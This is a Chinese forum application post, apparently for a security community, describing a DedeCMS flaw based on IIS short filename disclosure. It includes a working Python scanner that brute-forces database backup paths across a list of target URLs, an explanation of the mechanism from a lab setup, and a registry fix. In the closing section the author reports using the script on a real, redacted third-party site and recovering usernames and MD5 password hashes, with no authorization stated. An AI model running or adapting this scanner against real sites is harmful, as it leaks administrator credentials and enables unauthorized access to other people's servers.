1. 申请ID:Spring_Rain
2. 个人邮箱: springrainys@gmail.com
3. 原创技术文章:记一次对dedecms漏洞的检测
那天在网上看到一位大佬贴出来了一个dedecms漏洞利用的Python代码,黏贴运行后发现有程序错误,修改bug后又为了避免测试多个网站时一个网站无法连接而导致程序停止加了一个try模块,添加上了注释。
注:次脚本需要在脚本同意目录下新建txt文件,命名为“urls”,在该文件中输入要进行安全监测的url,每个url之间换行隔开。
程序代码如下:
[Python] 纯文本查看 复制代码 import requests as re
urls = open(r"urls.txt", "r") # 读取url存放文件
payloads = [
"/data/backupdata/dede_h~"
,"/data/backupdata/dede_m~"
,"/data/backupdata/dede_p~"
,"/data/backupdata/dede_a~"
,"/data/backupdata/dede_s~"] #存放短文件名爆破用的列表
for url in urls: # 进入循环,开始尝试
for payload in payloads:
for num in range(1, 5):
testurl = url.strip() + payload + str(num) + ".txt"
print(testurl)
try: # try模块,防止程序停止
html = re.get(testurl).text
except:
print("连接失败。")
continue
if "admin" in html: # 检测是否成功
print("[+]Exploit URL: " + testurl)
print("--------------------------")
(比较担心代码会不会乱,如果乱了最后那里有个实战,那的截图有源代码)
此脚本主要是利用了iis短文件名解析漏洞,下面为研究过程:
首先去dedecms官网进行下载,打开vm中配置好的windows sever 2003 的系统,去网上找教程,配置好iis+php+mysql,新建网站,导入dedecms后,进浏览器查看,第一步工作完成。
此时我按照脚本里给出的目录进虚拟机进行查看,发现文件夹下内容为空,猜测应该是要备份数据库。于是登录后台,数据库备份,再次查看,发现果然有了内容
此时又很疑惑,这个文件名看样子是有md5一个加密而形成的,是如何直接爆出的?
忽然想起大佬的一句话:iis短文件名漏洞
百度,了解到短文件名是为了兼容而设计的,因安全性考虑不周全,才引起了此漏洞,具体为:
只显示该文件文件名的前六位,六位结束后是一个~号,因短文件名可能有重复,因此在~后加上数字进行文件区分,而我们只要知道那个文件的短文件名,再加上网站权限设置不严格就可以直接访问(下载)该文件。
于是打开命令行,cd到网站目录下,输入指令:dir /x,发现惊喜:
在这里我注意到中间的文件名即为该文件的短文件名:
而这里的短文件名又与脚本上
这个命令相符
在命令行输入短文件名,直接将文件打开了:
浏览器上输入地址同样可以。
研究完成!
总结:
1.这个dedecms漏洞主要是利用iis短文件名解析漏洞,同时又要求服务器必须是dedecms+iis+php+mysql的配置,而运用dedecms的服务器又一般使用Apache而非iis,因此漏洞影响较小,但若由此漏洞,可直接爆出admin的密码,因此也比较危险。
2.这个短文件名漏洞不仅可以应用于此处,也可以用于爆其他文件的文件名,因此威胁不止对于dedecms有效,对于其他应用iis框架的服务器都有威胁。
3.修复该漏洞只需要将短文件名服务关闭即可:可以将注册表中“HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation”的值设为1
最后是一个安全监测:
程序运行后爆出可用目录,点击。
可以看到,这里的数据库备份中含有用户名及md5加密过的密码(为了该网站的安全,我把所有url都打上了码,为了个人隐私安全,我把所有用户名、密码一部分打上了码,其他的信息一律打码)
我的申请文章到此结束,感谢您在百忙中抽出时间来阅读我的拙作,谢谢您!
|